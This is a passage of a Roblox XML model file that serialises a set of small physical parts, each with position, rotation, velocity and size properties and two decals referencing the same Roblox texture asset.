				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>36.1866074</X>
					<Y>0.89112711</Y>
					<Z>23.0969505</Z>
					<R00>0.6618644</R00>
					<R01>0.749605596</R01>
					<R02>-0.00518654333</R02>
					<R10>0.00160737545</R10>
					<R11>-0.00833793078</R11>
					<R12>-0.99996388</R12>
					<R20>-0.749621809</R20>
					<R21>0.661832094</R21>
					<R22>-0.00672345422</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0121614654</X>
					<Y>0.00341938832</Y>
					<Z>0.0203550048</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.0126418378</X>
					<Y>-0.0125985621</Y>
					<Z>-0.013978106</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1581">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1582">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1583">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>29.9277668</X>
					<Y>0.590817153</Y>
					<Z>25.9915352</Z>
					<R00>-0.614581227</R00>
					<R01>-0.000528442033</R01>
					<R02>0.788853288</R02>
					<R10>5.28852343e-006</R10>
					<R11>-0.999999642</R11>
					<R12>-0.000665765954</R12>
					<R20>0.788853467</R20>
					<R21>-0.00040499543</R21>
					<R22>0.614581168</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0157663208</X>
					<Y>0.00307634613</Y>
					<Z>0.00659128372</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.0037355856</X>
					<Y>0.00205363869</Y>
					<Z>-0.000273912214</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1584">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1585">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1586">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>34.8434982</X>
					<Y>0.589784682</Y>
					<Z>20.2461548</Z>
					<R00>0.503211081</R00>
					<R01>-0.00348439626</R01>
					<R02>0.864156485</R02>
					<R10>-3.61579191e-006</R10>
					<R11>0.999991834</R11>
					<R12>0.0040342086</R12>
					<R20>-0.864163518</R20>
					<R21>-0.00203318289</R21>
					<R22>0.503206968</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00497312751</X>
					<Y>-0.000378969096</Y>
					<Z>-0.0235507861</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.00343494047</X>
					<Y>-0.00733993016</Y>
					<Z>0.00134071277</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1587">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1588">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1589">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>25.4469833</X>
					<Y>0.5908131</Y>
					<Z>24.1521244</Z>
					<R00>-0.382180303</R00>
					<R01>-0.000167738152</R01>
					<R02>0.924087703</R02>
					<R10>-7.64647048e-005</R10>
					<R11>1</R11>
					<R12>0.000149893604</R12>
					<R20>-0.924087763</R20>
					<R21>-1.33737049e-005</R21>
					<R22>-0.382180303</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0221262407</X>
					<Y>0.00369509286</Y>
					<Z>4.81953575e-005</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00312765641</X>
					<Y>8.21351477e-006</Y>
					<Z>0.00307872868</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1590">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1591">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1592">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>28.0754128</X>
					<Y>0.590966046</Y>
					<Z>25.9677639</Z>
					<R00>0.318048269</R00>
					<R01>-0.000147823506</R01>
					<R02>-0.94807452</R02>
					<R10>0.000242166076</R10>
					<R11>-0.999999881</R11>
					<R12>0.000237158558</R12>
					<R20>-0.94807446</R20>
					<R21>-0.000305019348</R21>
					<R22>-0.318048179</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0246868599</X>
					<Y>0.000146393912</Y>
					<Z>-0.00806087814</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.000864373578</X>
					<Y>-0.0117942002</Y>
					<Z>-7.79875627e-005</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1593">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1594">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1595">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>27.649931</X>
					<Y>0.590797782</Y>
					<Z>22.2589455</Z>
					<R00>0.327030838</R00>
					<R01>0.000295788283</R01>
					<R02>0.945013583</R02>
					<R10>0.000267147028</R10>
					<R11>-0.999999821</R11>
					<R12>0.00022055021</R12>
					<R20>0.945013583</R20>
					<R21>0.00018033087</R21>
					<R22>-0.327030808</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0303727817</X>
					<Y>0.00147276779</Y>
					<Z>0.00783289969</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.00293561909</X>
					<Y>-0.0087862974</Y>
					<Z>0.000300006679</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1596">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1597">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1598">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>23.0150852</X>
					<Y>0.591163635</Y>
					<Z>21.0199261</Z>
					<R00>-0.00489367265</R00>
					<R01>-0.000441040262</R01>
					<R02>0.99998796</R02>
					<R10>-9.20538952e-008</R10>
					<R11>0.999999881</R11>
					<R12>0.000441045093</R12>
					<R20>-0.999988019</R20>
					<R21>2.06627851e-006</R21>
					<R22>-0.00489367219</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0422376879</X>
					<Y>0.000793947664</Y>
					<Z>-0.00173301739</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.0121238958</X>
					<Y>-0.00531858765</Y>
					<Z>0.0012930556</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1599">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1600">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1601">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>29.5087357</X>
					<Y>0.892203331</Y>
					<Z>24.8973808</Z>
					<R00>0.549321771</R00>
					<R01>0.835603297</R01>
					<R02>-0.00356597104</R02>
					<R10>-0.000513776555</R10>
					<R11>-0.00392979756</R11>
					<R12>-0.999992192</R12>
					<R20>-0.835610747</R20>
					<R21>0.549319327</R21>
					<R22>-0.00172942434</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00440307101</X>
					<Y>0.00590050826</Y>
					<Z>0.00977798458</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00999842957</X>
					<Y>-0.0231685918</Y>
					<Z>-0.00674872333</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1602">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1603">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1604">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>27.4164715</X>
					<Y>0.591520786</Y>
					<Z>11.3749981</Z>
					<R00>0.58167088</R00>
					<R01>5.55003135e-006</R01>
					<R02>0.81342423</R02>
					<R10>-7.28756568e-005</R10>
					<R11>1</R11>
					<R12>4.52895401e-005</R12>
					<R20>-0.81342423</R20>
					<R21>-8.56224287e-005</R21>
					<R22>0.58167088</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0349898376</X>
					<Y>-0.000742430508</Y>
					<Z>-0.00968791451</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00574035477</X>
					<Y>-0.0129791424</Y>
					<Z>-0.00197495962</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1605">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1606">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1607">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>27.313364</X>
					<Y>0.59106493</Y>
					<Z>9.04692936</Z>
					<R00>-0.0012214171</R00>
					<R01>-2.17423212e-006</R01>
					<R02>0.999999285</R02>
					<R10>1.57313443e-005</R10>
					<R11>1</R11>
					<R12>2.1934477e-006</R12>
					<R20>-0.999999285</R20>
					<R21>1.5734011e-005</R21>
					<R22>-0.0012214171</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0241761524</X>
					<Y>0.00124571612</Y>
					<Z>-0.000769481529</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00084682263</X>
					<Y>0.00291905622</Y>
					<Z>0.00128001429</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1608">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1609">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1610">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>25.2915325</X>
					<Y>0.591379166</Y>
					<Z>5.24192667</Z>
					<R00>0.99160099</R00>
					<R01>7.73848296e-005</R01>
					<R02>-0.129334852</R02>
					<R10>0.000104331797</R10>
					<R11>-1</R11>
					<R12>0.000201575109</R12>
					<R20>-0.129334837</R20>
					<R21>-0.00021337581</R21>
					<R22>-0.99160099</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
